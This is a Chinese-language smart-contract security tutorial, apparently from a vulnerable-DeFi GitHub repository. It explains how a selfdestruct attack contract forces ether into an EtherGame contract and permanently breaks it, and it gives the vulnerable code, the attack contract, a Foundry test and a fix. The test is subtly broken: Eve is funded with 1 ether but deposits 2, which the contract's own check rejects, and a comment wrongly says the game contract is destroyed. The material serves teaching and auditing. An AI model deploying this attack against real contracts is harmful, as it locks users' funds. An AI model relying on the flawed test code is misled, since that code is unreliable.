名称:自毁漏洞
solidityproject/vulnerable-defi at master · XuHugo/solidityproject · GitHub
描述:
自毁漏洞是智能合约代码中的一个漏洞,允许攻击者通过攻击合约自毁来破坏其他的合约。实例中,漏洞产生的原因是攻击合约中的 dos 函数在收到大量eth后,执行自毁操作。自毁后,eth转入EtherGame 合约,导致EtherGame 合约的功能将永久失效,任何人都无法存入或领取奖励。
测试:
1. 部署对 EtherGame 合约
2. 玩家(如 Alice 和 Bob)决定参与游戏,每人存入 1 个eth。
3. 使用EtherGame 的地址部署攻击合约
4. 调用 Attack.dos 发送 5 个以太币。这样游戏就结束了,没有人能成为赢家。
发生了什么?
攻击迫使 EtherGame 的余额等于 7 个eth。
需要注意的是攻击者的5个eth不是调用deposit函数存入的,所以winner并没有被设置。
现在,没有人可以存款,也无法设定胜负。
selfdestruct(address)函数会删除合约地址中的所有字节码,并将所有以太币存储到指定地址。
所以关键的原因是selfdestruct函数,它可以强制的存入eth。
那么balance是不是就会有不可控的因素在里边,审计的时候,需要根据实际情况进行判断。
补救措施:
不要依赖 this.balance 来跟踪存入的eth,而是使用一个状态变量来跟踪存入的总金额。
EtherGame合约
contract EtherGame {
uint public constant targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
Attack合约
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function dos() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
Foundry测试合约
contract ContractTest is Test {
EtherGame EtherGameContract;
Attack AttackerContract;
address alice;
address eve;
function setUp() public {
EtherGameContract = new EtherGame();
alice = vm.addr(1);
eve = vm.addr(2);
vm.deal(address(alice), 1 ether);
vm.deal(address(eve), 1 ether);
}
function testSelfdestruct() public {
console.log("Alice balance", alice.balance);
console.log("Eve balance", eve.balance);
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
EtherGameContract.deposit{value: 1 ether}();
console.log("Eve deposit 1 Ether...");
vm.prank(eve);
EtherGameContract.deposit{value: 2 ether}();
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);
console.log("Attack...");
AttackerContract = new Attack(EtherGameContract);
AttackerContract.dos{value: 5 ether}();
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);
console.log("Exploit completed, Game is over");
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
}
}